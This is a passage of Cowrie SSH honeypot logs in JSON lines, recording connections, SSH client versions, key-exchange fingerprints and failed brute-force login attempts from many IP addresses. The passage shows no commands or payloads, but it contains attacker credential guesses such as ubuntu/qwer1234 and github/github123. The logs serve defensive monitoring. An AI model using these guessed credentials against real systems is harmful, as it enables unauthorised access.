es192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:04.062141Z","src_ip":"2.57.122.208","session":"17df85dd6c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:04.430834Z","src_ip":"2.57.122.208","session":"17df85dd6c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:05.571199Z","src_ip":"2.57.122.208","session":"17df85dd6c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.210","src_port":60344,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c5500b770d8","protocol":"ssh","message":"New connection: 147.185.132.210:60344 (159.203.135.109:22) [session: 2c5500b770d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:16.382669Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":53720,"dst_ip":"10.17.0.5","dst_port":22,"session":"eebc609fa32b","protocol":"ssh","message":"New connection: 128.201.200.162:53720 (10.17.0.5:22) [session: eebc609fa32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:16.848539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:16.855705Z","src_ip":"128.201.200.162","session":"eebc609fa32b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:16.966711Z","src_ip":"128.201.200.162","session":"eebc609fa32b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:17.046668Z","src_ip":"147.185.132.210","session":"2c5500b770d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ami","password":"ami1234","message":"login attempt [ami/ami1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:17.442743Z","src_ip":"128.201.200.162","session":"eebc609fa32b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:18.248020Z","src_ip":"147.185.132.210","session":"2c5500b770d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:20.494346Z","src_ip":"128.201.200.162","session":"eebc609fa32b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:25.195521Z","src_ip":"147.185.132.210","session":"2c5500b770d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":40222,"dst_ip":"10.17.0.5","dst_port":22,"session":"267a8078bb40","protocol":"ssh","message":"New connection: 163.7.6.74:40222 (10.17.0.5:22) [session: 267a8078bb40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:50.148364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:50.153308Z","src_ip":"163.7.6.74","session":"267a8078bb40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:50.399786Z","src_ip":"163.7.6.74","session":"267a8078bb40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"panda","password":"1234","message":"login attempt [panda/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:51.416762Z","src_ip":"163.7.6.74","session":"267a8078bb40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:52.666586Z","src_ip":"163.7.6.74","session":"267a8078bb40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.193.178.240","src_port":46406,"dst_ip":"159.203.135.109","dst_port":22,"session":"e56665c939cd","protocol":"ssh","message":"New connection: 103.193.178.240:46406 (159.203.135.109:22) [session: e56665c939cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:55.736926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:55.740937Z","src_ip":"103.193.178.240","session":"e56665c939cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.134.154.36","src_port":37482,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebdf1ef007b9","protocol":"ssh","message":"New connection: 103.134.154.36:37482 (10.17.0.5:22) [session: ebdf1ef007b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:55.816105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:55.820241Z","src_ip":"103.134.154.36","session":"ebdf1ef007b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:55.990884Z","src_ip":"103.193.178.240","session":"e56665c939cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:56.058497Z","src_ip":"103.134.154.36","session":"ebdf1ef007b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"github","password":"github123","message":"login attempt [github/github123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:57.034538Z","src_ip":"103.193.178.240","session":"e56665c939cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"slurm","password":"1234","message":"login attempt [slurm/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:57.057815Z","src_ip":"103.134.154.36","session":"ebdf1ef007b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:58.287261Z","src_ip":"103.193.178.240","session":"e56665c939cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:45:58.309040Z","src_ip":"103.134.154.36","session":"ebdf1ef007b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.76","src_port":50112,"dst_ip":"10.17.0.5","dst_port":22,"session":"57d9afa7f72f","protocol":"ssh","message":"New connection: 92.118.39.76:50112 (10.17.0.5:22) [session: 57d9afa7f72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:02.241498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:02.247384Z","src_ip":"92.118.39.76","session":"57d9afa7f72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:02.355541Z","src_ip":"92.118.39.76","session":"57d9afa7f72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:02.669734Z","src_ip":"92.118.39.76","session":"57d9afa7f72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:03.774812Z","src_ip":"92.118.39.76","session":"57d9afa7f72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.89","src_port":43750,"dst_ip":"10.17.0.5","dst_port":22,"session":"286034cf2247","protocol":"ssh","message":"New connection: 165.154.6.89:43750 (10.17.0.5:22) [session: 286034cf2247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:34.582268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:34.586917Z","src_ip":"165.154.6.89","session":"286034cf2247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:34.800170Z","src_ip":"165.154.6.89","session":"286034cf2247","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"new","password":"New123","message":"login attempt [new/New123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:35.683624Z","src_ip":"165.154.6.89","session":"286034cf2247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:46:36.898626Z","src_ip":"165.154.6.89","session":"286034cf2247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":53506,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc96021b81d2","protocol":"ssh","message":"New connection: 42.112.42.129:53506 (10.17.0.5:22) [session: dc96021b81d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:03.178835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:03.183839Z","src_ip":"42.112.42.129","session":"dc96021b81d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:03.438422Z","src_ip":"42.112.42.129","session":"dc96021b81d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":55314,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ae6278685de","protocol":"ssh","message":"New connection: 2.57.122.208:55314 (10.17.0.5:22) [session: 3ae6278685de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:04.049351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:47:04.054236Z","src_ip":"2.57.122.208","session":"3ae6278685de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2